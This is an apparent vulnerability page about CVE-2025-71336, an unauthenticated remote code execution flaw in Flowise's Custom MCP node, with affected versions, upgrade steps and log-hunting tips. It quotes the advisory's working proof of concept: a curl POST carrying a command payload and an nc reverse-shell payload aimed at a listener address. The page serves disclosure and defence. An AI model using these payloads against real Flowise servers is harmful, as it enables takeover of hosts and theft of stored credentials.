NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Flowise

CVE-2025-71336: Flowise has unsandboxed remote code execution via Custom MCP

criticalCVSS 4.0 9.3 · 3.1 9.8GHSA-6933-jpx5-q87q

The Custom MCP node in Flowise 2.2.7-patch.1 up to 3.0.5 starts any OS command a caller puts in mcpServerConfig, with no sandbox and no role checks. On an install without authentication, which is the default, anyone with network access gets remote code execution. Upgrade to flowise 3.0.6.

Published Sep 15, 2025 · Updated Nov 3, 2026 · Analysis Nov 1, 2026

What an attacker can do

Custom MCP is built to launch local MCP servers, for example with npx. The node sets the transport to stdio and starts the configured command and args as a process. Nothing limits which command can run. Flowise also has a minimal permission model without role-based access control, and the default install has no login unless FLOWISE_USERNAME and FLOWISE_PASSWORD are set.

The advisory proof of concept is a single POST to /api/v1/node-load-method/customMCP with the header x-request-from: internal and a body of {"inputs":{"mcpServerConfig":{"command":"touch","args":["/tmp/yofitofi"]}},"loadMethod":"listActions"}. The file appears in /tmp. Replacing the command with nc and the args with a listener address and -e /bin/sh gives a reverse shell.

An unauthenticated attacker on the network, or a low-privileged user on a shared instance, can run commands as the Flowise process. They reach its environment secrets, the model and database credentials it stores, and the container or host. This is a design-level exposure of a command-launching feature, so it overlaps with the separate JavaScript evaluation flaw in the same node.

Who is affected

Affected: flowise from 2.2.7-patch.1 up to but not including 3.0.6. Instances without FLOWISE_USERNAME and FLOWISE_PASSWORD set are open to anyone who can reach them. Check the version:

npm ls flowise

For Docker, check the image tag. Look in your environment or compose file for the two authentication variables.

flowise

Ecosystem
npm
Affected
>= 2.2.7-patch.1, < 3.0.6
Fixed in
3.0.6
Check
npm ls flowise

How to fix it

Upgrade to flowise 3.0.6.

npm install -g [email protected]

For Docker, pull a 3.0.6 or later image and redeploy. The advisory lists the 3.0.6 release as the patched version, but the pull request and commit linked from it do not describe a Custom MCP restriction when read, so check the 3.0.6 notes for your setup. The advisory suggests these mitigations: restrict Custom MCP configuration to admin roles, disable the feature by default, and run custom MCP servers in a sandbox. Also set FLOWISE_USERNAME and FLOWISE_PASSWORD and keep the instance off the open internet.

How to tell if you were hit

Search access logs for POST /api/v1/node-load-method/customMCP, and read the mcpServerConfig bodies for command values such as touch, nc, sh, bash or curl. Check the host for child processes of the Flowise Node process that are not your expected MCP servers, new files under /tmp, and outbound connections to unknown IPs. Review saved chatflows for Custom MCP nodes you did not create.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.

This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.

PoC

  1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker
  1. Create a new file named payload.json somewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}
  1. Send the following curl request using the payload.json file created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
  1. Observe that a new file named yofitofi is created under /tmp folder.

Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload:

{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}

Pasted image 20250420132335

Impact

Remote code execution

Mitigation

  • Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform.
  • Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.
  • Consider running Custom MCPs within a sandboxed environment

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Credited to assaf-levkovich-jf.

Questions

Is authentication required to exploit this?

Not on a default install. Flowise runs without authentication unless FLOWISE_USERNAME and FLOWISE_PASSWORD are set. The CVSS vector has no privileges required.

Which versions are affected by GHSA-6933-jpx5-q87q?

Flowise from 2.2.7-patch.1 up to but not including 3.0.6. The patched version is 3.0.6.

Is this a bug or an intended feature?

The advisory says Custom MCP is designed to run OS commands such as npx. The flaw is that it does so with no sandbox, no role-based control and, by default, no login.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Flowise vulnerabilities

All Flowise entries